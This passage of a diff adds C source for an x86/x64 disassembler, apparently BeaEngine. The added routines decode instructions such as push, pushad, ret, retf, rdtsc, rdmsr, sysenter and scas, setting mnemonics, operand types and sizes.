(*pMyDisasm).Argument1.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[2+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2]; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 53h + * ======================================= */ +void __bea_callspec__ push_ebx(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[3+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[3+0+8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+8]; + } + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[3+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3]; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[3+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 54h + * ======================================= */ +void __bea_callspec__ push_esp(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[4+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[4+0+8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+8]; + } + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[4+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4]; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[4+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 55h + * ======================================= */ +void __bea_callspec__ push_ebp(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[5+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[5+0+8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+8]; + } + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[5+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5]; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[5+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 56h + * ======================================= */ +void __bea_callspec__ push_esi(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[6+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[6+0+8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+8]; + } + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[6+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6]; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[6+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + +/* ======================================= + * 57h + * ======================================= */ +void __bea_callspec__ push_edi(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[7+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[7+0+8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+8]; + } + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument1.ArgSize = 64; + } + else { + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[7+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7]; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[7+0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7]; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgSize = 16; + } + } + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; +} + + +/* ======================================= + * 68h + * ======================================= */ +void __bea_callspec__ push_Iv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (GV.Architecture == 64) { + if (!Security(5, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",(Int64)*((UInt32*)(UIntPtr) (GV.EIP_+1))); + #endif + GV.ImmediatSize = 32; + (*pMyDisasm).Instruction.Immediat = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + GV.EIP_ += 5; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + } + else if (GV.OperandSize == 32) { + if (!Security(5, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",(Int64)*((UInt32*)(UIntPtr) (GV.EIP_+1))); + #endif + GV.ImmediatSize = 32; + (*pMyDisasm).Instruction.Immediat = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + GV.EIP_ += 5; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + } + else { + if (!Security(3, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.4X",(Int64)*((UInt16*)(UIntPtr) (GV.EIP_+1))); + #endif + GV.ImmediatSize = 16; + (*pMyDisasm).Instruction.Immediat = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + GV.EIP_ += 3; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + } +} + +/* ======================================= + * 6ah + * ======================================= */ +void __bea_callspec__ push_Ib(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); + #endif + if (!Security(1, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",(Int64)*((Int8*)(IntPtr) (GV.EIP_+1))); + #endif + GV.ImmediatSize = 8; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + GV.EIP_ += 2; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE+GENERAL_REG+REG4; + +} + + +/* ======================================= + * 9ch + * ======================================= */ +void __bea_callspec__ pushfd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + + if (GV.Architecture == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pushfq "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + FillFlags(pMyDisasm, 78); + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pushfd "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + FillFlags(pMyDisasm, 78); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pushf "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + FillFlags(pMyDisasm, 78); + } +} + + +/* ======================================= + * 60h + * ======================================= */ +void __bea_callspec__ pushad_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pushad "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG1+REG2+REG3+REG4+REG5+REG6+REG7; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pusha "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG1+REG2+REG3+REG4+REG5+REG6+REG7; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + } +} + +/* ======================================= + * 0c2h + * ======================================= */ +void __bea_callspec__ retn_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = RetType; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "retn "); + #endif + if (!Security(3, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic,"%.4X",(Int64)*((UInt16*)(UIntPtr) (GV.EIP_+1))); + #endif + GV.ImmediatSize = 16; + (*pMyDisasm).Instruction.Immediat = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + GV.EIP_+=3; + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; +} + +/* ======================================= + * 0c3h + * ======================================= */ +void __bea_callspec__ ret_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = RetType; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ret "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ retf_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = RetType; + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lret "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "retf "); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "retf "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG4; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ retf_Iw(PDISASM pMyDisasm) +{ + int i = 0; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = RetType; + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lret "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic,"\x24"); + #endif + i++; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "retf "); + #endif + } + if (!Security(3, pMyDisasm)) return; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic+i,"%.4X",(Int64)*((UInt16*)(UIntPtr) (GV.EIP_+1))); + #endif + GV.ImmediatSize = 16; + (*pMyDisasm).Instruction.Immediat = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + GV.EIP_+=3; + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ rdtsc_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rdtsc "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Argument1.ArgSize = 32; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ rdmsr_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rdmsr "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG1; + (*pMyDisasm).Argument2.ArgSize = 32; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ rdpmc_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rdpmc "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG2; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG1; + (*pMyDisasm).Argument2.ArgSize = 32; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ rsm_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rsm "); + #endif + GV.EIP_++; + FillFlags(pMyDisasm, 89); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ sysenter_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sysenter "); + #endif + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ sysexit_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sysexit "); + #endif + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ sahf_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sahf "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 8; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ salc_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = UNDOCUMENTED_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "salc "); + #endif + GV.EIP_++; +} + + +/* ======================================= + * 0ach + * ======================================= */ +void __bea_callspec__ scasb_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "scasb "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument2.ArgSize = 8; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 94); +} + +/* ======================================= + * 0adh + * ======================================= */ +void __bea_callspec__ scas_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "scasq "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 94); + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "scasd "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + 